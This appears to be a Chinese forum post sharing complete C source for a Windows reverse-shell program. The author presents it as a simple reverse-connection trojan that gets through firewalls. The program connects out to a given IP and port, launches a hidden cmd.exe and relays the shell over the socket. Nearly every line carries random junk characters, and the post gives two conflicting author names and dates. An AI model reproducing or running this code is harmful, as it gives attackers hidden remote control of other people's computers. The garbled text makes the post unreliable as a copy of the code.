这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P~6QRm
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/* ============================== ceKR?%8 s
Rebound port in Windows NT ")gd)_FOS
By wind,2006/7 XGs
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===============================*/ EWU(Al T
#include &Fw8V=Pw
#include S2^Ckg
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#pragma comment(lib,"wsock32.lib") }]fJ[KbDp
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void OutputShell(); kdr?I9kwW
SOCKET sClient; ('9LUFw\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >Rnj6A|Q
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void main(int argc,char **argv) :o2^?k8k
{ bVLuv`A/
WSADATA stWsaData; ~|FKl%
int nRet; K3CTxU(
SOCKADDR_IN stSaiClient,stSaiServer; ?zS
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if(argc != 3) JGLjx"Y
{ JA")L0a_
printf("Useage:\n\rRebound DestIP DestPort\n"); ?;q
return; Y{Yp N
} #3+-vyZm
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WSAStartup(MAKEWORD(2,2),&stWsaData); K #f*LV5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b*AL,n?
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stSaiClient.sin_family = AF_INET; }mhD2 ' E
stSaiClient.sin_port = htons(0); J&vmW}&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |afzW=8'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <"&I'9
{ ,(D:cRN
printf("Bind Socket Failed!\n"); ^")SU(`
return; hwon^?
} &*w)/W
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stSaiServer.sin_family = AF_INET; Sz"rp9x+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GfG!CG^%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vv9=g*"j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cTq}H_hC
{ qMHI-h_A
printf("Connect Error!"); M6X`]R'
return; ^hMJNy&R
} e1
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OutputShell(); RCgn\
} byyzXRO;
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void OutputShell() ,g"[7Za
{ +O2z&a;q
char szBuff[1024]; 7I_1Lnnf
SECURITY_ATTRIBUTES stSecurityAttributes; K<_bG<tm_
OSVERSIONINFO stOsversionInfo; ]P5|V4FXo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )J['0DUrZK
STARTUPINFO stStartupInfo; LH"CIL2
char *szShell; E|Q|Nx!6[
PROCESS_INFORMATION stProcessInformation; _xyq25/
unsigned long lBytesRead; =Eh~ wm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )PU_'n=>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +ROwk
stSecurityAttributes.lpSecurityDescriptor = 0; Oh|KbM*vS
stSecurityAttributes.bInheritHandle = TRUE; @u.%z# h"1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (PM!{u=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $N[R99*x8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qi&;2Yv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C.& R,$
stStartupInfo.wShowWindow = SW_HIDE; BbV @ziL
stStartupInfo.hStdInput = hReadPipe; d7*fP S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rl%?c5U/$
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GetVersionEx(&stOsversionInfo); _UqE
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switch(stOsversionInfo.dwPlatformId) BwpSw\\?@
{ -VOMt5u
case 1: ?_ V oO
szShell = "command.com"; soTmKqj E
break; ^`MGlI}
default: 3G;#QK-c
szShell = "cmd.exe"; -%g$~MZ?'
break; 5g$]ou
} }%@q; "9`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d
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send(sClient,szMsg,77,0); h3<L,Olp
while(1) -!C9x?gNY
{ V*C%r:5 ,v
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5N_w(B
if(lBytesRead) zD9gE
{ 1h[xVvo<L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0?{Y6:d+
send(sClient,szBuff,lBytesRead,0); 'Y%@fZf x
} aYBc)LCd
else w`Ss MI
{ 9r efv
lBytesRead=recv(sClient,szBuff,1024,0); k\NwH?ppu
if(lBytesRead<=0) break; mbS`+)1=l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p /x]
} JJ+A+sfdk
} y;r{0lTB
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return; \D<w:\P
}